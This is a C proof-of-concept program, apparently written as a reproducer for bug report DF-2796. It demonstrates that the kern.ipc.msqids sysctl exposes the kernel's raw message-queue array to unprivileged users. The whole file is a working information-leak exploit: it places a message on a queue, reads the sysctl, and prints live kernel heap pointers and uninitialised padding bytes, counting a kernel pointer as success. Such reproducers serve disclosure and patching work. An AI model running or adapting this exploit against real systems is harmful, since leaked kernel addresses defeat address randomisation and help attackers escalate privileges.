/*
 * DF-2796: kern.ipc.msqids sysctl dumps the raw kernel msqid_ds array --
 * including live kernel heap pointers (msg_first/msg_last), never-written
 * padding, and every queue's key/metadata -- to ANY unprivileged user.
 * No IPC_R permission on any queue is required (unlike IPC_STAT = DF-0050).
 *
 * Build:  cc -O2 -o msqids_leak msqids_leak.c
 * Run:    ./msqids_leak        (as unprivileged user)
 * Expect: msg_first/msg_last print as canonical kernel pointers
 *         (0xffff...), exit 0. Padding bytes dumped raw.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
 * Kernel-side x86_64 layout of struct msqid_ds (sys/sys/msg.h:68-84 +
 * sys/sys/ipc.h:72-80).  Userland <sys/msg.h> has the same pointer
 * members, but libc never fills them; we parse the sysctl bytes with an
 * explicit mirror so the offsets are unambiguous.
 */
struct k_ipc_perm {
	uint32_t cuid;		/*  0 */
	uint32_t cgid;		/*  4 */
	uint32_t uid;		/*  8 */
	uint32_t gid;		/* 12 */
	uint16_t mode;		/* 16 */
	uint16_t seq;		/* 18 */
	/* 4 bytes padding */
	int64_t  key;		/* 24 */
};				/* size 32 */

struct k_msqid_ds {
	struct k_ipc_perm perm;	/*  0 */
	void    *msg_first;	/* 32  <-- kernel heap pointer */
	void    *msg_last;	/* 40  <-- kernel heap pointer */
	uint64_t msg_cbytes;	/* 48 */
	uint64_t msg_qnum;	/* 56 */
	uint64_t msg_qbytes;	/* 64 */
	int32_t  msg_lspid;	/* 72 */
	int32_t  msg_lrpid;	/* 76 */
	int64_t  msg_stime;	/* 80 */
	int64_t  msg_pad1;	/* 88  <-- never written by kernel */
	int64_t  msg_rtime;	/* 96 */
	int64_t  msg_pad2;	/* 104 <-- never written */
	int64_t  msg_ctime;	/* 112 */
	int64_t  msg_pad3;	/* 120 <-- never written */
	int64_t  msg_pad4[4];	/* 128 <-- never written */
};				/* size 160 */

int
main(void)
{
	struct {
		long mtype;
		char mtext[64];
	} msg = { 1, "DF-2796-leak-probe" };
	size_t len = 0;
	unsigned char *buf;
	int qid, mib[3];
	size_t miblen;
	struct k_msqid_ds *ent;
	int i, ret = 1;

	/* 1. create a private queue + put one message on it */
	qid = msgget(IPC_PRIVATE, 0600);
	if (qid < 0) { perror("msgget"); return 1; }
	if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) < 0) {
		perror("msgsnd"); goto out;
	}

	/* 2. dump the whole kernel msqids array as an unprivileged user */
	if (sysctlbyname("kern.ipc.msqids", NULL, &len, NULL, 0) < 0) {
		perror("sysctl(size)"); goto out;
	}
	buf = malloc(len);
	if (sysctlbyname("kern.ipc.msqids", buf, &len, NULL, 0) < 0) {
		perror("sysctl(data)"); goto out;
	}
	printf("kern.ipc.msqids readable by uid %d: %zu bytes "
	    "(%zu queues x %zu bytes)\n", getuid(), len,
	    len / sizeof(struct k_msqid_ds), sizeof(struct k_msqid_ds));

	/* 3. parse OUR queue's entry straight out of the raw dump */
	ent = (struct k_msqid_ds *)(buf + (qid & 0xffff) *
	    sizeof(struct k_msqid_ds));
	printf("qid=%d slot=%d qnum=%llu cbytes=%llu\n", qid, qid & 0xffff,
	    (unsigned long long)ent->msg_qnum,
	    (unsigned long long)ent->msg_cbytes);
	printf("msg_first = %p\n", ent->msg_first);
	printf("msg_last  = %p\n", ent->msg_last);
	printf("padding (never written by kernel): "
	    "pad1=%016llx pad2=%016llx pad3=%016llx pad4=[",
	    (unsigned long long)ent->msg_pad1,
	    (unsigned long long)ent->msg_pad2,
	    (unsigned long long)ent->msg_pad3);
	for (i = 0; i < 4; i++)
		printf("%s%016llx", i ? "," : "",
		    (unsigned long long)ent->msg_pad4[i]);
	printf("]\n");

	/* 4. success criterion: canonical x86_64 kernel pointer in the dump */
	if (((uintptr_t)ent->msg_first >> 48) == 0xffff) {
		printf("LEAK: unprivileged sysctl disclosed live kernel heap "
		    "pointer msg_first=%p (msghdrs allocation, M_MSG)\n",
		    ent->msg_first);
		ret = 0;
	} else {
		printf("msg_first does not look like a kernel pointer\n");
	}
out:
	msgctl(qid, IPC_RMID, NULL);
	return ret;
}
